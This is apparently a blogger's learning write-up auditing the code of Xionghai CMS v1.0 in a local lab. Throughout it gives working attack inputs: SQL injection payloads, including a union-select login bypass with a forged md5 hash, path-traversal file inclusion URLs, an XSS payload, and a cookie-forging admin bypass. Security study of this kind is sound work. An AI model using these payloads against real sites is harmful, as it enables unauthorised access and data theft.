zoukankan      html  css  js  c++  java
  • 熊海cms v1.0代码审计

    下载熊海cms整个文件

    phpstudy本地搭建网站完之后

    先查看目录

    ——admin     //后台文件
    ——css       //css文件
    ——files    //功能函数文件
    ——images   //图片
    ——index.php //主目录文件
    ——inc //include的简写,存放头文件的 
    ——install   //安装文件
    ——seacmseditor  //编辑器
    ——template      //模板文件
    ——upload    //文件上传目录

    开始进行代码审计

    先seay扫描一遍

    扫出第一个漏洞

    一 安装界面存在sql注入漏洞

    $query = "UPDATE manage SET user='$user',password='$password',name='$user'";

    构造报错注入payload

    1' or extractvalue(1,concat(0x7e,(select @@version),0x7e));#

     二 主目录 和admin目录的index.php存在文件包含漏洞

    <?php
    //单一入口模式
    error_reporting(0); //关闭错误显示
    $file=addslashes($_GET['r']); //接收文件名
    $action=$file==''?'index':$file; //判断为空或者等于index 也就是说 这是个三目运算符 优先级是要比赋值要高的 如果file变量为空 则把index赋值给file 否则就不对file变量进行操作
    include('files/'.$action.'.php'); //载入相应文件
    ?>

    addslashes函数

     代码自动给action变量添加/file目录和PHP后缀 所以不要文件包含时不要再自己加php目录了  目录跳转到file的上一目录 也就是首目录执行上传的phpinfo 

    http://127.0.0.1/xionghaicms/index.php?r=../info.php

    包含成功

    admin目录的index.php也同样的利用方式

    只不过需要跳转两次

    http://127.0.0.1/xionghaicms/admin/index.php?r=../../info.php

    三 前台多处sql注入

    防止sql注入 此cms只是增加了addslashes()函数过滤

    但是应用此函数时还需要注意一下两点

      1. 是否有单引号保护

      2.是否做了宽字节注入的防御

    对于宽字节编码,有一种最好的修补就是:
    
    (1)使用mysql_set_charset(GBK)指定字符集
    
    (2)使用mysql_real_escape_string进行转义
    
    原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?
    
    就是使用mysql_set_charset进行指定。
    
    上述的两个条件是“与”运算的关系,少一条都不行。

    files/software.php 第13行未做单引号保护

    $query = "UPDATE download SET hit = hit+1 WHERE id=$id";

    files/content.php第19行未做单引号保护

    $query = "UPDATE content SET hit = hit+1 WHERE id=$id";

    files/submit.php 只是对type变量做了单引号保护 对于post传参也是可以sql注入的

    $type=addslashes($_GET['type']);
    $name=$_POST['name'];
    $mail=$_POST['mail'];
    $url=$_POST['url'];
    $content=$_POST['content'];
    $cid=$_POST['cid'];
    $ip=$_SERVER["REMOTE_ADDR"];
    $tz=$_POST['tz'];
    if ($tz==""){$tz=0;}
    $jz=$_POST['jz'];

    四  xss漏洞

    files/contact.php 第12~15行

    $page=addslashes($_GET['page']);
    if ($page<>""){
    if ($page<>1){
    $pages="".$page."页 - ";
    构造payload page=<img src=x onerror=alert(/xss/);>执行成功
    五 垂直越权
    <?php
    $user=$_COOKIE['user'];
    if ($user==""){
    header("Location: ?r=login");
    exit;   
    }
    ?>

    这是个判断是否为管理员的程序,如果user中为空,就跳到登录首页。可以看到 cookie中的user被赋值给user变量 如果我们在需要登录管理员的页面下 在cookie中尝试添加 user:admin 发现在不需要密码的情况下登录成功。实现了垂直越权。

    五 万能密码登录
    漏洞位置adminfileslogin.php
    <?php 
    ob_start();
    require '../inc/conn.php';
    $login=$_POST['login'];
    $user=$_POST['user'];
    $password=$_POST['password'];
    $checkbox=$_POST['checkbox'];
    
    if ($login<>""){
    $query = "SELECT * FROM manage WHERE user='$user'";
    $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
    $users = mysql_fetch_array($result);
    
    if (!mysql_num_rows($result)) {  
    echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
    exit;
    }else{
    $passwords=$users['password'];
    if(md5($password)<>$passwords){
    echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
    exit;    
        }
    //写入登录信息并记住30天
    if ($checkbox==1){
    setcookie('user',$user,time()+3600*24*30,'/');
    }else{
    setcookie('user',$user,0,'/');
    }
    echo "<script>this.location='?r=index'</script>";
    exit;
    }
    exit;
    ob_end_flush();
    }
    ?>
    未对user值进行过滤就被带入到数据库进行查询
    如果我们在输入user时利用联合查询临时插入一行值,其中包括着密码 在输入密码时结合构造的payload 即可实现登录
    user:1' union select 1,2,'test','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
    password:1
    
    此处md5(1)=c4ca4238a0b923820dcc509a6f75849b

    漏洞分析:

    先是利用联合查询临时在表中生成了一行数据

     然后在输入密码时和我们伪造的数据库密码对应 即可绕过验证 登录成功

    总结:

    这是我第一个完整的cms代码审计,但大多还是参考的师傅们的文章。要学的东西还有很多,一步一个脚印慢慢来吧。

    路漫漫其修远兮,吾将上下而求索

     
     
  • 相关阅读:
    python数据分析之pandas库的Series应用
    LINUX学习
    DBA日常SQL之查询数据库运行状况
    使用RMAN从磁带库恢复归档文件
    PHP系列 | PHPexcel导入xls格式 ,提示错误:iconv(): Wrong charset, conversion from `CP936' to `UTF-8' is not allowed
    工具系列 | 使用Lodop进行WEB打印程序开发
    PHP系列 | 编译安装msgpack-php
    Nginx系列 | [转]Nginx 上传文件:client_max_body_size 、client_body_buffer_size
    PHP系列 | Session 存储在Redis
    PHP系列 | PHP5.6 安装 endroid/qr-code 遇到的问题
  • 原文地址:https://www.cnblogs.com/akger/p/14865567.html
Copyright © 2011-2022 走看看